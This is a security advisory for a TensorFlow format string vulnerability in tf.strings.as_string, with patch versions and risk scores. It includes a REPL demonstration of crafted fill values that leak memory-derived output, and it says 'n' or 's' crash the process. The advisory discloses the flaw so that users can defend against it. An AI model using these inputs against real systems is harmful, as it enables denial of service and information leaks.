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GHSA-xmq7-7fxm-rr79

HighCVSS 7.5 / 10
Published Sep 25, 2020·Last modified Mar 13, 2026
Affected Components(0)

No affected components available

Description

Impact

By controlling the fill argument of tf.strings.as_string, a malicious attacker is able to trigger a format string vulnerability due to the way the internal format use in a printf call is constructed: https://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/as_string_op.cc#L68-L74

This can result in unexpected output:

In [1]: tf.strings.as_string(input=[1234], width=6, fill='-')                                                                     
Out[1]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['1234  '], dtype=object)>                                              
In [2]: tf.strings.as_string(input=[1234], width=6, fill='+')                                                                     
Out[2]: <tf.Tensor: shape=(1,), dtype=string, numpy=array([' +1234'], dtype=object)> 
In [3]: tf.strings.as_string(input=[1234], width=6, fill="h")                                                                     
Out[3]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['%6d'], dtype=object)> 
In [4]: tf.strings.as_string(input=[1234], width=6, fill="d")                                                                     
Out[4]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['12346d'], dtype=object)> 
In [5]: tf.strings.as_string(input=[1234], width=6, fill="o")
Out[5]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['23226d'], dtype=object)>
In [6]: tf.strings.as_string(input=[1234], width=6, fill="x")
Out[6]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['4d26d'], dtype=object)>
In [7]: tf.strings.as_string(input=[1234], width=6, fill="g")
Out[7]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['8.67458e-3116d'], dtype=object)>
In [8]: tf.strings.as_string(input=[1234], width=6, fill="a")
Out[8]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['0x0.00ff7eebb4d4p-10226d'], dtype=object)>
In [9]: tf.strings.as_string(input=[1234], width=6, fill="c")
Out[9]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['\xd26d'], dtype=object)>
In [10]: tf.strings.as_string(input=[1234], width=6, fill="p")
Out[10]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['0x4d26d'], dtype=object)>
In [11]: tf.strings.as_string(input=[1234], width=6, fill='m') 
Out[11]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['Success6d'], dtype=object)>

However, passing in n or s results in segmentation fault.

Patches

We have patched the issue in 33be22c65d86256e6826666662e40dbdfe70ee83 and will release patch releases for all versions between 1.15 and 2.3.

We recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

Risk Scores
Base Score
7.5

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the availability of the system.

Threat Intelligence
6.9

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.97%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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